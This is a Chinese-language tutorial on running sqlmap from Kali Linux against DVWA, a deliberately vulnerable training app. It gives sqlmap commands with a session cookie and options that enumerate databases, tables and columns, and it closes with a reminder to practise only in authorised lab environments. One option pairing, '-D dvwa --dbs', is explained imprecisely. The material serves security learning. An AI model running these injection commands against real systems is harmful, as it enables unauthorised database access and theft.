kali sqlmap DVWA
时间: 2025-06-18 13:37:05 浏览: 18
### 使用 Kali Linux 中的 Sqlmap 对 DVWA 进行 SQL 注入测试
在 Kali Linux 下使用 Sqlmap 工具对 DVWA 平台进行 SQL 注入测试是一个常见的学习实践方法。以下是关于如何配置和执行此操作的具体说明。
#### 配置目标 URL 和 Cookie
为了成功运行 Sqlmap 命令,需要先获取目标 URL 和必要的会话信息(Cookie)。可以通过浏览器开发者工具捕获请求数据来提取这些信息[^5]。例如,在访问 `http://<DVWA_IP>/vulnerabilities/sqli/` 页面时,记录下完整的 GET 请求路径以及对应的 PHPSESSID 和 security 参数值作为后续命令的一部分。
#### 构建基本 Sqlmap 命令
构建用于启动扫描的基础 Sqlmap 命令如下所示:
```bash
sqlmap -u "http://<DVWA_IP>/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=<your_php_session_id>" \
-p id --batch
```
其中 `<DVWA_IP>` 替换为目标服务器的实际 IP 地址;而 `<your_php_session_id>` 则应填入当前有效的 PHPSESSID 值[^2]。
#### 执行高级功能查询
一旦确认存在可利用漏洞后,还可以进一步扩展检测范围至整个数据库结构层面。比如枚举所有可用数据库名称、选定特定数据库内的表格列表或者深入探索某个具体表项的内容字段等。以下是一些常用的附加选项及其作用解释:
- **列出所有数据库**: 添加 `-D dvwa --dbs` 可显示系统中存在的全部数据库实例。
- **列出指定数据库中的表**: 结合上述结果继续追加 `--tables` 参数即可获得所选数据库内部的所有表名集合。
- **查看某数据库某表的所有列**: 当明确了感兴趣的表之后再增加 `--columns` 即能展示该表里定义好的各个属性描述详情[^4].
示例代码片段:
```bash
# 显示所有的数据库
sqlmap ...other_options... --dbs
# 获取名为'dvwa'的数据集里的各张表单概况
sqlmap ...other_options... -D dvwa --tables
# 展开分析'table_name'这张表里面的构成要素情况
sqlmap ...other_options... -T table_name --columns
```
以上每一步骤均需依据前序环节得出的结果逐步推进实施下去[^3]。
---
### 注意事项
在整个过程中务必保持合法合规的操作前提条件之下开展此类实践活动,并仅限于授权范围内针对专门设立的学习型环境中尝试相关技术手段的应用效果评估工作。
阅读全文
相关推荐


















